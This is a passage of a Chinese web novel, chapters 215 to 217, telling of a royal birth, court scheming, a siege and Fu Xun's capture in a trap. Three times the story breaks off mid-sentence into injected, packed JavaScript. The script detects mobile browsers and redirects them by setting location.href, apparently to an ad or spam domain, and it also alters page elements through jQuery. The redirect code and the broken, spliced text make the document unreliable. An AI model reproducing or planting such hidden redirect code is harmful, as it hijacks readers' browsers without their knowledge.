苻沣攥紧拳头,却无半分怒色,只缓缓推门而出,背影略带踉跄、仿佛又苍老了几岁。 次年三月初,伊河春冰开始解冻,苻洵受元承赟之邀,前去朔北帮忙检查布防,苻沣和苻洹亲自送他出龙骨关。 多年之后,苻洵仍记得那天的场景,苻沣的一举一动、一颦一笑,全部都深得像刻在脑中。 215. 掌上明珠 春寒料峭,苻沣着厚厚裘氅,玄色绒边顺滑发亮,衬得他一张脸神采奕奕。 三人一前两后沉默许久,直到分别时,苻沣忽然开口问:“阿洵,还记得哥哥之前教过你的《孟子.尽心章句下》,为君者当重视什么?” 苻洵有些诧异,却还是回:“民为贵,社稷次之,君为轻。” “对,民贵君轻。”苻沣唇角上扬,眉眼俱笑。不知是否错觉,这四个字说出口,他有些弯曲的脊背逐渐挺直,眉间眼眸长久的郁色烟消云散,整个人都明朗起来。 他抬眼望向春冰渐融的伊河:“阿洵,你自小聪颖出挑、却离经叛道,如今看来,离经叛道也有些好处……指不定能替荣国千万百姓走出一条新路。” 苻洵心跳一突,本能要拒绝,见到苻沣笑靥、却不忍开口。 岂料,苻沣泰然摇头:“我不需要你去做奸细、做耳目,我要你永远站在褚舜英身边,爱她尊重她,不离不弃、永远支持她……” 苻洵意识到什么,张了张嘴,却只说:“她是我的夫人。” “我知道,不用我说你都会去做”,苻沣眼神郑重,沉声继续,“还有,尽可能增加她的权力、延长她的执政时间……我是说,无论她做任何决定,你都要支持她。” 苻洵垂眸,眼圈发红发热,哽咽道:“那你们……” 苻沣笑了,眸中有泪花闪烁:“你若真顾念我们,更要支持她,其他的不要太执着。世间哪有千秋万代的王朝?阿洵,若苻氏无你,或许早就在永兴王手上断送……其实是你强行给这国祚延了十几年寿命。” 见苻洵迟疑,他又说:“巡完朔北就直接去阊江吧……你终于长大了,也该承担起大人的责任。” 苻洵感觉苻沣另有所指,却一时捉摸不透,元承赟派来接他的船已靠岸,只得匆匆拜别兄长,登船而去。 苻沣站在岸边目送他远去,释然地扬唇一笑,摇摇头:“瞧着聪明,三十多岁的人了,有些事还懵懂呢。” 他缓缓从袖中取出一封密函:自去年苻洵归国,褚舜英先是设了一道帘,改临朝称制为垂帘听政。年节后更是称病、深居邶风别苑不出,却不像政斗失败被夺权——每逢重大事务,国君与丞相必送至邶风别苑请太后裁决。 又有线报称,去年的年节,司南侯携族中子弟入京团聚后,遣其他子侄先行回了沵州,自己带着幼女褚舜瑶和女婿在邶风别苑住了下来。 苻洹笑着摇头:“毕竟是没经历过,看不出端倪实属正常。” 又有些不解:“一般女子遇到这等事,都希望夫婿守在身边,褚后为何一直瞒着阿洵?” “因为她不是一般女子,她先是女君”,苻沣意味深长道,“阿洵查验边防看似随意,实则稍有分心便漏洞百出,她更在意北疆的安宁。此外嘛……阿洵容易感情用事,若知晓得早,还不定闹出什么祸事来。” “还是陛下有先见之明,咱们这一局看似凶险,越往后倒越踏实”,苻洹垂眸称奇,“褚后既愿意冒这样大风险,至少是将阿洵看得极重,也差不多能控制住局面……于公于私,她都值得咱们一赌。” . 苻洵与元承赟从朔门关一路向东,沿边墙巡视,五月中旬已巡至抚恩郡,查缺补漏大功告成。是夜,元承赟特于宛平设宴答谢,又商量起北伐的部署。 此次北伐兵多将广、粮草丰足,一时也用不上苻洵这等奇才,苻洵却仍执意留在北疆率领北伐,那以后……那以后就回去吧,回奉宁或是北卢,再不踏足阊江。 这是他第一次对她失约。 天下一统势不可挡,可他宁愿作为亡国宗室甚至战俘被押送到阊江,也不愿留在阊江、依靠她庇护安然躲过那一刻。 倾慕她心悦她,离她越来越近,体谅她理解她,最终变成了另一个她。 那个决意在殒星崖一跃而下的她…… 元承赟见苻洵一杯接一杯喝烧刀子,忙伸手去夺酒坛:“高兴也别喝那么多,明天一早还得回阊江。” 苻洵蹙眉:“你哪只眼睛看到我高兴?” 此言一出,元承赟和姜娥齐齐一怔,面面相觑:“我们都没不高兴,你凭什么不高兴?” 苻洵又回想起那天在龙骨关,苻沣也让他赶紧回阊江,总觉得他们话里有话。于是愕然指向自己:“有什么事我该高兴,你们该不高兴?” 元承赟眼里闪过一丝不可思议,脸上隐隐显出怒气,正要张嘴,姜娥忙笑着说:“赶紧回去吧……回去就知道了。” 于是苻洵稀里糊涂被元承赟推回屋睡觉,第二天又稀里糊涂被丢进马车,等一觉睡醒已经抵达龙门渡。脚夫仆从正往船上搬箱笼,一问,是姜娥打点的各色老参、山货、狐裘狼皮——全是补养御寒之物。 苻洵忙抓了个元承赟身边亲信来问,那亲信笑嘻嘻地说:“太后陛下有恙,姜刺史和都督略表心意。” 苻洵回想这段时间收到她的信,越发疑惑,那些信笔力稳健、字字清晰,并不像有恙。 他突然僵住。 苻沣的话,承赟的话,去年临行前她的话……那些笑颜在眼前一一闪过,他脑子嗡的一声,陡然意识到什么,胸膛突突直跳、浑身起了冷汗,极致的喜悦和痛苦霎时塞满四肢百骸。 她总那样了解他,一出手,就捏在他痛处。 他双腿发颤,飞奔冲上客船,对舵手挥了挥手:“回阊江,马上!尽快!” 转头看向奉宁的方向,脸上带着笑,却流下两行泪。然后弯曲双膝,三跪九叩:“臣弟苻洵接旨,定然不负陛下重托!” . “承赟,怀阳那边来报,苻洵已上了回阊江的船。”姜娥将信函递给元承赟。 元承赟展开信纸一看,松了口气,脸上浮起喜色。 姜娥揶揄道:“庄王和宗室的颜面都被踩地上了,你倒这样高兴?” 元承赟不悦地挑了挑眉:“颜面是个什么玩意儿,能吃还是能喝?和和气气两家为一家、不比打得尸横遍野有颜面?” 顿了顿,他又仰头冷笑:“褚娘娘和小陛下被冯氏党羽欺凌的时候,八方将士被拖延军资借刀杀人的时候,苻洵差点战死宛平城头的时候,那帮有颜面的高洁之士何在?” “说得好,不拘泥世俗礼法,不愧流着姜氏的血”,姜娥爽朗大笑,又不屑地撇撇嘴,“小陛下都没说什么,轮得到那帮尸位素餐的老东西指摘?” . 阊江,邶风别苑。 元承祎和元璟每人提一把剑,端端正正坐在前堂,二人神色平静地注视着门外跪了一地的宗室耆老。元旭憋得脸通红,用力搀扶老者,搀起这个跪倒那个,直扶得两条胳膊酸麻,也无济于事。 宗室耆老:“老臣要觐见太后陛下!” 元承祎:“女子血房多有不便,还请诸位叔公回去。” 宗室耆老:“那陛下在此为何?” 元承祎冷冷道:“小姨母乃朕血脉至亲,如今喜诞麟儿,朕以君王之气替她镇一镇邪祟,有何不可?” 元旭同情地扫视过被说成“邪祟”的宗室耆老。 一名白胡子老者用力在石阶上叩得头破血流:“王上不让老臣觐见太后陛下,老臣就血溅当庭。” “曾伯公且慢,来人——”元承祎长身站起,对屏风后唤了声,白胡子老者眼中一喜。 却见四名仆人抬着一方沉重的灰白石板,放到白胡子老者面前,元承祎笑容可掬道:“霰石台阶磕不死人,曾伯公试试这石英。” 元旭:“……” 元承祎被冯太后压了近十年,不满这帮见风使舵的宗室很久了,好容易找个茬、肯定要狠狠收拾。 只是不知这股子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103536|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邪性,又是跟谁学的。 正思索间,东边传来一阵急促马蹄声,只见苻洵一身黑袍、骑一匹黑马疾驰而来,到了大门口使劲一勒缰绳,飞奔的马被勒得前腿腾空直立起来。宛如平地刮起一阵风,跪在阶下的老者们眼前一花,有什么东西轻飘飘从头顶越过。 苻洵轻盈落在前堂,正要施礼,元璟眼里露出喜色:“好,还是赶上了,快进去。” 褚秋水站在门口,镇定自若地指挥医女、接生婆、丫鬟,忙而不乱的呼喊声此起彼伏。躺在床上、被簇拥在中心的人反而最安静,她嘴里塞着块毛巾,将痛苦惨叫摁在喉咙里,只漏出几声呜咽。 饶是如此,她身躯仍筛糠般抖着,额头不断渗出颗颗豆大的汗珠,汇成滚热的溪流,浸湿头发和衣衫。她一只手攥着床单、将床单生生抓挠出几个破洞,褚舜瑶握紧她另一只手,不断陪她说话,替她擦汗。 血,铺天盖地的血。像活过来一般,在褥子上蜿蜒洇开。 初夏溽热,屋子密不透风,琉璃灯光照如昼,红色帷帐、红色窗纱、红色的被单……他从未像今天这样害怕红色。 婆子丫鬟跑前跑后,络绎不绝端进一盆盆滚烫的热水,端出一盆盆鲜红的水——全是血。 水盆里的血、褥子上的血、不断往外涌的血,无数的血连缀起来,连成大幅诡异的猩红,那猩红越来越深、深得发黑。脚步声、呼喊声、呜咽声越来越越模糊,嗡嗡直响,在耳边汇成一篇杂乱无章的乐曲,冷汗从他每个毛孔渗出。 苻洵感觉全身血都凉了,一个踉跄险些晕倒。他立即咬住舌尖,疼痛令他清醒了下来,蹲在床的另一侧握住她的手。仿佛感知到什么,她转头瞥了他一眼,唇角微微向上弯了弯,轻声开口:“回来了?” “嗯,我回来了……对不起,这么晚才到。” 他感知着手部传来剧痛,学褚舜瑶的样子,用另一张热帕子不断替她擦拭汗滴。但是抓挠他的手指力量越来越弱,是她疼得快晕厥了,他心念一动就要驱动金蝉。 手部传来的痛感再次变强,她吐出嘴里帕子,气若游丝唤了声:“参汤。”旋即短促地惨叫一声,又死死咬住下唇。 “参汤来了。” 他端起参汤,小心翼翼扶起她的头,一点点往里喂。 反反复复,擦汗、喂参汤、用毛巾垫住唇舌……他不知她怎样了,只能从手部的疼痛强弱去感知。 周围的人声像潮水,起起伏伏,像是欢呼、像是叫喊、像是嚎叫,他全都听不见,只一瞬不瞬盯着痛不欲生的她。终于,她长吁一口气,手上力道松脱,头一歪晕厥过去。 有人轻轻推了推他,他麻木僵硬地转头,是褚秋水,正笑盈盈将簇新的襁褓递到他跟前:“快看看,你们的女儿。” 软软嫩嫩的一小个,看不出五官和神态,正茫然无措地张嘴嚎啕。苻洵小心翼翼接过她,婴儿吸了吸鼻子,微不可察地往他胸前靠了靠,嚎啕得更加响亮。 抱紧那小小一只的时候,苻洵心里忽然滋生起一股莫名情愫。冥冥之中,一股无形的力量从怀中婴孩身上牵出,将他和舜英紧紧连接在一起。 因他们相爱而诞生的孩子。 褚秋水递给他一块帕子:“擦擦泪,别掉到孩子脸上了。” 苻洵才发现,自己满脸都是泪,泪水仍不断往外涌。他将孩子递给乳母,用湿帕擦干净脸,转头去看舜英。她已经醒了,双眸无力地看着他,唇角却微微翘起。 “都怪我,这都没察觉,害你遭那么多罪。”苻洵端来红糖姜水,一点点替她润着干枯的唇,泪如雨下。 “是我自己停了药”,舜英喝了几口参汤,力气恢复了些,眼里漾起笑意,“阿洵,给咱们女儿起个名字吧。” “知蕤。” “想这么快?” “我早就想好了。” 216. 苍生为棋 延光九年六月初七,司南公世女褚舜瑶诞下一名女婴,名为褚知蕤。延光王甚喜爱,叹弟妹稀薄,收其为义妹,送入褚太后膝下抚养。 宗室闹了许久,拧不过执掌实权的太后国君,也暗自理亏前些年未有效约束冯太后。此事最终不了了之,不过史书埋下些许春秋笔法。 “打着舜瑶的名义绕个圈,已算是给足了他们面子”,元璟淡淡地说,眼巴巴看着童车里的孩子,“什么时候才能让外人抱?” 承徽扶着童车,乌溜溜眼睛盯着知蕤:“母后好厉害,徽儿许什么愿都……” 一双手熟练捂住她的嘴,是穆阐,他双颊红了红,忙撒开手低声说:“公主留意,莫说顺了嘴。” 承徽懂事地点点头,又指向知蕤:“阐哥哥看,她笑了。” 知蕤长得很像苻洵,一双澄澈桃花眼,爱笑,笑起来乖巧中带着狡黠。承祎站在树下远远看着,手上潮潮的——刚用艾叶水洗过手,他像是想要靠近,却不敢多走一步。 “陛下可以抱抱她。”苻洵不知何时进了院子,身后侍婢端着一盅鲜蔬汤,走进卧房。 舜英一直嘴里没滋味,苻洵的一手好厨艺派上用场,他做的饭菜瞧着粗糙简单、却总能让她食指大动。 承祎听苻洵如此说,慢慢磨蹭过去,试探伸了伸手,却在触及婴孩的瞬间、被火烙烫般收回,只用手指小心地碰了碰知蕤温软的脸,知蕤又咯咯笑起来。 承祎一只手牵住承徽,一只手扶着童车边框,翘了翘唇角,眼眸含泪颤声说:“你们都是我的亲妹妹。” 舜英正靠在床头,不紧不慢喝着鲜蔬汤,听到承祎这话,无奈地叹了口气:“跑不掉了。” 她原本想着,承祎表现出的才能心性如此靠谱,又有班益和元旭辅佐,等几年承祎手中权力足够稳固,自己这“出母”不再影响其地位,就将那两份和离书公之于众,迫使宗室将自己除名,功成身退溜之大吉。 却在重逢苻洵后改了主意——自己在这位置多一天,他们始终隔着家国立场。而这立场区分,随着北伐的胜利,将逐步成为天堑。 苻洵不会伤害她,也不会伤害故国,只会做跟她当年一样的选择——伤害自己。 她悄悄停了避子药,想让苻洵多一分羁绊,也打算闹出一件连承祎也不能随便摆平的事。 岂料一觉睡醒,知蕤已经被承祎操作一番,从明路转回自己名下。 苻洵收回碗,弯了弯眉眼:“跑不掉就不跑了。” 他握紧她的手,柔声说:“你和知蕤在哪,我在哪。” 曾经,她是遥不可及的天边月;后来,他们红尘作伴、享尽熙熙攘攘烟火;现在,他们已心意互通、骨血交融。 相守八年,他们早已将对方融入自己血肉筋骨,不可撕脱。 . 舜英休养这四十多天,承祎完全接手了朝政,虽偶有些力不从心的大事积压在那,大部分日常已处理十分得当。这些遗留的大事中,有两件十分棘手。 其一:北伐进程势如破竹,两国轻骑重骑横扫草原二十三部,六月中旬,联军顺利攻入柘枝城,却发现冯栩和麾下精骑早已不见踪影。 其二:元承祎派出使臣,对苻沣多次示好,苻沣均又客气又谦恭,态度却十分含糊。 承祎讲这些事情时,刻意未避开苻洵,其含义不言而喻。苻洵又在脑子里将苻沣的话研读上百遍,似有所悟,却不太确定舜英的态度,又不愿在她虚弱时与她谈公事。 于是只每天专心照顾妻女,其余事情能避则避,承祎偶尔试探,他都淡淡地说:“待寻到冯栩,再说其他的。” 这一避让,就到了中秋前后。 苻阙忽然传信给他,说是苻沣病情恶化。苻洵再也坐不住,即刻要动身回奉宁,舜英本想携女随他同往,但知蕤太小、受不住江风和颠簸,只好将飞廉的人拨了一半。承祎略作思考,又安排元旭同去探视。 于是,苻洵、元旭、穆阐和谢恬等人同行,沿途不断传信。一直看到他们抵达洛京、与秦川和白袍卫接上头,舜英才松了口气。 最后一封信发出是八月二十三,舜英收到是九月初一。那以后,一行人宛如石沉大海,音讯渺茫。 起先还有驻守玉照、镇安等地的暗探传回密信,苻洹从洛京、凤台等地调动大量精兵,将奉宁团团围住。过了几天,凤台又传来密信,留驻郅阳北卢的骑兵正赶往奉宁。 后来,所有消息都断了。 九月十一刚刚入夜,舜英正站在望楼,手执千里镜看向西北方向的奉宁,虽然什么也看不到。 傅母抱着知蕤,慌慌张张跑来:“娘娘,小殿下今晚上不知怎么了,一直哭个不停。” 心头的焦灼不安愈发浓烈,舜英一边飞快思考着,一边转身往楼下走。就在那一瞬间,大地似乎震了几震,大片亮光从身后照来。 舜英立即旋身上楼,只见西北天空被焰光染成一片黄白。千里镜的视野里,亮光最盛处那地方她再熟悉不过——奉宁!那浓黑的烟,火焰颜色她也再熟悉不过——石脂。 “阿姿,立即请承祎和班太尉过来议事,还有,安排几匹快马!”她飞快奔向楼下,冲向南院的书房,运笔如飞写下一道道诏书,“传令周士承和左肃整兵,再安排快船快马去北宛,让承赟那队人马即刻撤军。” . “找到冯栩和他的精骑了——” “在奉宁!” 班益匆匆赶到邶风别苑,刚踏进书房,就被这惊天讯息砸得回不过神。苻沣出身行伍、奉宁防守森严,冯栩怎样悄无声息占据了奉宁? 有内鬼! 内鬼又是谁? 各种念头飞快冒出来,在脑海里纷纷扰扰。事态紧急,一时也顾不得细想,当务之急是去笠泽调兵点将。舜英披上软甲,别好佩刀正往外走,迎面匆匆走来两人,她忙侧身避过。当头那人脚步极快,向前扑倒。 走在她身后的班益信守扶起那人:“阿珂,你怎么来了?” 班珂顾不上父亲,对舜英匆匆一礼:“太后娘娘,阿旭出发之前托付我一件事,说若他这次遭遇不测,就带这位万姐姐来找您。” 舜英先是一愣,骤然涌出骂人的冲动——怎么不等她出发再送来?元旭这张嘴,简直比死人还严。 她诧异瞥向班珂身后女子,三十来岁的模样,一袭紫色深衣,就算表情郑重,眼角眉梢也跳跃着轻快笑意。 “我们之前是否见过?”舜英微微蹙眉,总觉眼前女子有几分眼熟。 紫衣女子双手平举,深深躬身施礼:“凰羽寺外门弟子紫菀,见过太后陛下。” 昔年元晴周游列邦时,伴随左右的伶俐小师妹,紫菀。 舜英一震,瞳孔急遽收缩,拉紫菀走向另一边:“阿晴有何事托付你?” 紫菀道:“为萧王后之子,苻隽” 苻沣那个早夭的嫡长子——苻隽! 紫菀缓了缓,补充道:“以前你们叫他苻阐,现在叫他穆阐。” 舜英僵住了,无数零碎画面霎时涌入脑海,心念电转,将她震得头皮发麻,魂魄颤栗。 永平一年,元晴说,萧王后腹中之子,至关重要。 永平二年,元晴说,借摇光那队人,偷一个东西。 永平五年,元晴说,去灵昌找一个人,没找到。 苻洵说,元晴每次去灵昌,都住在只与洛川别苑隔一条街的“风归云”。 新兴驿那夜,苻阐说,他经常梦到一位仙子姑姑。 舜英极力回忆苻沣年轻的模样,记忆里那眉目疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112015|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗、鼻若悬胆,那端雅入骨的气质,逐渐与穆阐重合起来。 紫菀轻声说:“师姐擅相面,苻隽尚在母腹,她便已算出萧王后之子是荣国下一位君主。待他呱呱坠地,又看出荣国的储君,命中有两次无妄之灾,皆因苻洵而起。但最危险的地方往往最安全,所以借摇光那队人将真正的苻阐从洛川别苑带出,与苻隽调了包。” 于是,第一次,苻阐顶替苻隽在宫中夭折襁褓,苻隽顶着苻阐的身份在苻洵身边安然长大。 第二次,第二次又是什么? 紫菀又说:“师姐临终前,嘱托平南侯将苻隽和我改换身份、带回阊江。” 苻阐变成穆阐,被元旭带回阊江,机缘巧合走进宫禁,成为东宫侍读、帮她夺取大权,并与元承祎结下深厚情谊。 苻沣长自公宫,饱受祖宗遗训熏陶,虽慎战厌战、想和翊国交好,已经派出苻洵作为沟通桥梁,甚至在必要情况下会以百姓为先,摈弃国别……却终究难过心里那关,自觉愧对先祖,所以元承祎屡屡表达融合之意,苻沣态度总有些模糊。 可苻隽不同,自小受大儒教养,民贵君轻的思想早已深入骨髓,又随元旭走遍滬南灾地、看遍生民流离。养父桀骜不羁、养母是翊国太后、师父是翊国丞相、更与翊国幼主交好……融合两国,根本没有任何心理负担。 元晴说苻隽关键,关键在何处?顺位第一继承权,支持融合的主张。 再在恰当时机,将这样关键的苻隽送回奉宁……这一盘大棋,也即将下到尾声。 “好个少祭司,看似杂乱无章,其实每个人都在她的棋盘上”,舜英抬头看向夜空,眼角流下两滴温热,忽然打了个寒噤,“她曾说自己命中无子女缘分,所以稷儿……稷儿……” 紫菀沉默良久,微不可察轻叹一声:“注定不该诞生的孩子,自然是回归天命。” . “稷儿!稷儿!”黑暗里,苻洵触到那具小小的身体,摸索着将手伸向苻稷脖颈,冰冷、静止,没有一丝搏动。 手底的人儿已经开始冰冷僵硬。 苻洵略微动了动,肩胛骨传来剧痛,痛得他上半身麻木,不知是穿了铁链还是铁丝,斩不断挣不开。他试探发动金蝉,除了加重锥心之痛,不能让手臂做出任何大开大合的动作。 他被用最简单粗暴的方式,锁在这间不见天日的密室,一身武艺无法施展分毫。 前方突然泻下一道亮光,像是打开天窗。旋即铁门大开,扔进一块炊饼和一壶水。他咬牙蹭到食物落下的位置,忍着剧痛的和胃腹抽搐,小口吃着喝着。 炊饼有些馊、有些发霉,水里有异味、可能掺了迷药,但他仍吃喝得半点不剩。 然后借仅存的亮光,环顾四周,找寻熟悉之处。 他要想尽办法活下去。 就算残了废了,爬也要爬回阊江去。 他刚刚成为父亲,女儿玉雪可爱、尚在襁褓,他不能丢下她们母女,让她们独自面对这险恶世道。 也不知元旭和阐儿怎样了……那个曾叫了他十一年父亲的孩子。 半个月前,苻洵一行人匆匆赶回奉宁。苻沣又发呕血旧疾,萧南图和苻洹求遍名医、搜遍珍稀药材也无济于事,他这次是真的油尽灯枯。 病床上的苻沣,一直昏睡不醒,偶尔睁眼说几句话,又悠悠睡去。年仅八岁的苻稷怯生生站在病床前,握紧父亲的手不愿松开。苻阙和兕儿进进出出,服侍汤药、喂水喂饭、替病人擦拭身体、翻身。 苻洵接过汤药,他想在兄长最后的岁月里,好好陪陪他、照顾他。 入夜,苻洵躺在床边软榻上、翻来覆去睡不着,听见苻沣呼吸变重,忙跑到床前。苻沣果然醒了,意识有些模糊,抓住他的手喃喃低语:“玥娘、阿萱,等等我……” 217. 玉石俱焚 苻沣唤了许久亡故的妻女,眼神逐渐清明,一瞬不瞬注视着苻洵、唇角扬起笑意:“阿洵,我梦见玥娘,我跟她说你终于做父亲了,她很高兴。” 苻洵跪在床前,低下头、泪如泉涌。 苻沣闭眼喘息片刻,又说:“我还看见阿晴了,她跟我说……跟我说,你把隽儿护得很好。” 苻洵挤出微笑:“我会好好护住稷儿,寸步不离守着他,直到他顺利继位。” “是隽儿……”苻沣剧烈咳嗽,咳出一团血,颤抖着攥紧苻洵的手,“阿洵,哥哥心里过不去这个坎,愧对列祖列宗,只能委屈隽儿。你帮我跟他说……说天下一统势不可挡,民贵君轻……” 苻洵小心翼翼替他擦干净嘴唇,慢慢替他顺后背,不忍心再纠正他,柔声附和:“阿洵听哥哥的。” 苻沣闭上眼,唇角弯起一丝笑意:“罢了,这些话还是我亲自给他说,让阿洵替自家夫人说话,两头为难……阿洵,叫些参汤来……” 苻洵一边流泪一边端起参汤,一点点灌进他齿缝,苻沣闭眼养了会儿,长舒一口气睡去。苻洵不敢睡,目不转睛注视着床上病弱的兄长,等他稍有动作,立即附耳过去听他说什么。 却无非是再喝点参汤。 如此反复数次,苻洵脑中闪过一缕轻微的异样,转瞬即逝。再去细想,已然抓不住,因为苻阙匆匆跑来,上气不接下气地告诉他:“太子不见了!” 苻洵惊得将长秋宫翻来覆去十几遍,终于从傅母口里听到点有用的:苻阗病了,苻稷一直惦记,许是偷偷去了洛川别苑。 苻洵让秦川带着人,寸步不离守在苻沣寝殿,自己带两三名随从,快马从驰道出宫。经过灯火通明的上书房、紫宸殿和丞相府,脑中那缕异样更浓。 等他跑马飞驰在防守森严的子午大道时,终于准确抓住了那缕异样:御医说苻沣已十分虚弱,虚不受补,此时喝参汤无非是吊着气等待什么。 可他到底在等待什么?重臣全部候在宫禁听命,五城兵马司和禁卫已完全控制奉宁,继承人也在……他还在等什么? 心事重重踏进洛川别苑,府兵来回巡逻,灯火通明、人来人往,一切热闹如旧。 苻洵果然在苻阗的卧房找到苻稷。 苻阗受了风寒、睡得很香,苻稷坐在床前的胡床上,歪着脑袋、双目紧闭,像是也睡着了。 苻洵心一软,轻手轻脚走过去,抱起苻稷想送回宫里。 惊变起于须臾! 苻洵抱起苻稷的刹那,像是扯动了什么链条,他下意识避让,忽然意识到苻稷在怀中。于是立即改换动作,一手护住苻稷,一手拔刀向后挥去。 窗外飙进几支箭,苻洵旋转刀尽数避开,同时矮身下蹲,贴地去拿放在一旁的小茶几。一臂将苻稷护在自己和茶几之间,一臂举着茶几往床边退,同时去拉苻阗。 就在他贴着床沿,松开苻稷去拉苻阗的刹那,床板弹出两条森冷、猛然从背后刺入他肩胛,再从身前穿出。 剧痛和僵麻骤然传遍全身,利器喂了毒,吃痛及中毒脱力前,他最后的动作,是推了推苻稷。 那刺穿他身体的力气没有停,穿透他肩胛后、擦着苻稷脸颊飞过,深深钉入茶几——是两根铁索,散发着幽蓝冷光。同时,脚底猛然一沉,他和苻稷一起坠向地板之下。 洞口仅容两人坠落,茶几桌面太大,卡在洞口,那两根淬毒的铁链钩住他琵琶骨,将他吊在半空。 苻洵听到了苻稷坠地的闷响。 琵琶骨被锁,他双臂使不上力,毒从肩胛迅速扩散到全身,又疼又麻几近昏厥。胸口浮起金光,是金蝉在拼尽全力护他心脉,同时疯狂吞噬着他的心头血。 他眼前一阵阵发黑,支撑不住晕厥过去。 痛,好痛! 苻洵悠悠醒转,疼痛以琵琶骨为中心,弥散到四肢百骸,每个指头、每根骨缝、每寸皮肤、每个毛孔都痛,一呼一吸都格外费力。 看不见一点点光亮。 也不知晕过去多久。 他屏息凝神,黑暗中只有他噗通心跳声,没有其他心跳、也没有其他呼吸声。 苻洵心都凉了,用腿发力、贴着地面一点点蹭过去,终于触到那具小小的身体——没有一丝活气。 . 苻洹骑着一匹黑色健马,横一柄丈八陌刀,挡在安门前。 萧南图、沈绍宗、萧桓、雷松……附近郡县的将领都来了,各自守住相应宫门。禁卫已从内将宫门用铜汁浇死,门缝、门楣、门枢,上上下下所有缝隙,尽皆凝固着厚厚黄铜,将门和城墙结结实实铸成一块整体。 一如十年前的神武关。 九月初三前半夜,苻稷突然失踪,苻洵紧随其后找到洛川别苑,再也没出来。 初四清晨,洛川别苑几个门突然大开,冲出一队约千人的铁骑,沿庆云巷冲上子午大街,东城北城兵马司即刻出动,却在以一敌百的铁骑冲杀下溃不成军。 与此同时,西市零零星星窜出另一队铁骑,直奔城门,剿杀守城士兵,放进几千北宛精骑。 苻沣昏迷不醒,继承人下落不明,苻洹当机立断,伪造调兵诏书,令数十队武卒突围出城,调集距离最近的凤台、英平、洛京三地十几万大军回京勤王。又委托秦川带白袍卫策马北上,一路通知留守郅阳、北卢的骑兵,并深入北宛草原,找寻孤军深入的龙骧军和玄甲营回援。 最初的几千北宛骑兵入城后,苻洹当机立断收起吊桥,一边指挥调来精兵死守奉宁城几道石桥,一边指挥城内五城兵马司、借巷陌掩盖与骑兵展开巷战。 九月初十,苻洹已守城七天七夜。城中能搜罗到的拒马桩、鹿角刺等物已在连续不断的火攻和冲杀中七零八落,前方在拼杀,后方在拼尽全力挖壕沟。城楼上架起上千加床弩,只待骑兵冲进射程范围,便万箭齐发。 但狼骑身上都披着厚厚甲胄,非重箭不能射穿。 城内守军已死伤大半,守城士兵退回城内,铜汁浇门、死守王宫。 城门守军、禁卫军和五城兵马司将王宫团团围住,仍不敌北宛精骑的巨大冲击——几道宫门前全是空地。 壕沟前的守军一茬茬倒下,像被朔风刮断的麦穗,一批又一批平民被从家中驱赶出来,抬着新战死的尸首填入壕沟。壕沟太深太宽,动作稍微迟缓的平民也变成尸首,被推进壕沟。 壕沟越来越浅,几匹矫健的马已然开始踏着尸骨冲过来。 苻洹毫不迟疑挥刀斩下:“众将士听令,背后是紫宸殿,是我们的国君,是江山社稷,我们没有退路了!” “我等血肉之躯,便是最后一道防线!” “迎敌!” 这一战,又是一天一夜。 宫墙外空地上堆积了一层又一层尸骸和血泥,残枪断刀……在城中横冲直撞肆掠的两千北宛铁骑终于被车轮战耗尽,十几万精兵也所剩无几。 斥候营贴地听声,密集的马蹄声和嘶喊声。苻洹登上城门,用千里镜遥望,只见烟尘滚滚,不计其数的北宛散骑铁蹄如雷,自北卢方向奔腾而来、正从郅阳过境。 他们等不到郅阳北卢援军了,更远的龙骧军和玄甲营还在草原深处,最快也要十来天才能赶到。 绝望之下,苻洹命守军砍断吊桥吊索,再推来巨石巨锤拆毁石桥。随后带上一队亲兵,前往洛川别苑寻找失踪的苻洵和苻稷。 岂料,刚刚行走到庆云巷口,只听轰隆一声巨响,火光冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116575|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天而起、残砖碎瓦四处飞溅。街巷烟气弥漫,浓浓的臭鸡蛋味熏得人鼻腔发干,头昏脑胀几欲呕吐。黄亮火焰随风乱窜,顷刻蔓延得整条街道的房屋热浪滔天。 起火的中心,正是洛川别苑。 苻洹忙紧急调集吞在城中的河沙,挑水打湿后,用投石机不断盖到火焰上,足足抢救了两个时辰,才堪堪止住火势。此时,石脂火焰已将子午大街东侧半边城池烧为废墟。 九月十二清晨,烧了一夜的大火终于被扑灭。苻洹带着亲兵,元旭和穆阐带着随从,冲进洛川别苑。 葳蕤花木焚为焦木,风流旖旎的帐幔化作飞灰,精雕细琢的梁柱碎作瓦砾。 一行人跪在焦黑的断壁残垣上,一点点扒拉起断砖、残瓦,抬开巨石和梁柱。不时翻出一具被熏得焦黑蜷缩的尸首,孩童、妇人、小厮、府兵……唯独没有熟悉的那两个人。 